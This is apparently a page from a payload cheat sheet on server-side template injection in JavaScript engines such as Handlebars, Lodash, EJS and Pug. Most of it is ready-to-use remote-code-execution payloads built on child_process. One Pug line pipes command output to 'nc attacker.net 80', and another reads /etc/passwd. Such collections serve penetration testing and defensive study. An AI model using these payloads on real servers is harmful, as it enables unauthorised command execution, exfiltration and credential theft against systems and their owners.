← cd ..

Server Side Template Injection - JavaScript

contents
javascript.md

Server-Side Template Injection (SSTI) occurs when an attacker can inject malicious code into a server-side template, causing the server to execute arbitrary commands. In the context of JavaScript, SSTI vulnerabilities can arise when using server-side templating engines like Handlebars, EJS, or Pug, where user input is integrated into templates without adequate sanitization.

Summary#

Templating Libraries#

Template NamePayload Format
DotJS{{= }}
DustJS{ }
EJS<% %>
HandlebarsJS{{ }}
HoganJS{{ }}
Lodash{{= }}
MustacheJS{{ }}
NunjucksJS{{ }}
PugJS#{ }
TwigJS{{ }}
UnderscoreJS<% %>
VelocityJS#=set($X="")$X
VueJS{{ }}

Universal Payloads#

Generic code injection payloads work for many NodeJS-based template engines, such as DotJS, EJS, PugJS, UnderscoreJS and Eta.

To use these payloads, wrap them in the appropriate tag.

// Rendered RCEglobal.process.mainModule.require("child_process").execSync("id").toString()// Error-Based RCEglobal.process.mainModule.require("Y:/A:/"+global.process.mainModule.require("child_process").execSync("id").toString())""["x"][global.process.mainModule.require("child_process").execSync("id").toString()]// Boolean-Based RCE[""][0 + !(global.process.mainModule.require("child_process").spawnSync("id", options={shell:true}).status===0)]["length"]// Time-Based RCEglobal.process.mainModule.require("child_process").execSync("id && sleep 5").toString()

NunjucksJS is also capable of executing these payloads using {{range.constructor(' ... ')()}}.

Handlebars#

Official website

Handlebars compiles templates into JavaScript functions.

Handlebars - Basic Injection#

{{this}}{{self}}

Handlebars - Command Execution#

This payload only work in handlebars versions, fixed in GHSA-q42p-pg8m-cqh6:

  • >= 4.1.0, < 4.1.2
  • >= 4.0.0, < 4.0.14
  • < 3.0.7
{{#with "s" as |string|}}  {{#with "e"}}    {{#with split as |conslist|}}      {{this.pop}}      {{this.push (lookup string.sub "constructor")}}      {{this.pop}}      {{#with string.split as |codelist|}}        {{this.pop}}        {{this.push "return require('child_process').execSync('ls -la');"}}        {{this.pop}}        {{#each conslist}}          {{#with (string.sub.apply 0 codelist)}}            {{this}}          {{/with}}        {{/each}}      {{/with}}    {{/with}}  {{/with}}{{/with}}

Lodash#

Official website

A modern JavaScript utility library delivering modularity, performance & extras.

Lodash - Basic Injection#

How to create a template:

const _ = require('lodash');string = "{{= username}}"const options = {  evaluate: /\{\{(.+?)\}\}/g,  interpolate: /\{\{=(.+?)\}\}/g,  escape: /\{\{-(.+?)\}\}/g,};_.template(string, options);
  • string: The template string.
  • options.interpolate: It is a regular expression that specifies the HTML interpolate delimiter.
  • options.evaluate: It is a regular expression that specifies the HTML evaluate delimiter.
  • options.escape: It is a regular expression that specifies the HTML escape delimiter.

For the purpose of RCE, the delimiter of templates is determined by the options.evaluate parameter.

{{= _.VERSION}}${= _.VERSION}<%= _.VERSION %>{{= _.templateSettings.evaluate }}${= _.VERSION}<%= _.VERSION %>

Lodash - Command Execution#

{{x=Object}}{{w=a=new x}}{{w.type="pipe"}}{{w.readable=1}}{{w.writable=1}}{{a.file="/bin/sh"}}{{a.args=["/bin/sh","-c","id;ls"]}}{{a.stdio=[w,w]}}{{process.binding("spawn_sync").spawn(a).output}}

Pug#

Universal payloads also work for Pug.

Official website

- var x = root.process- x = x.mainModule.require- x = x('child_process')= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

References#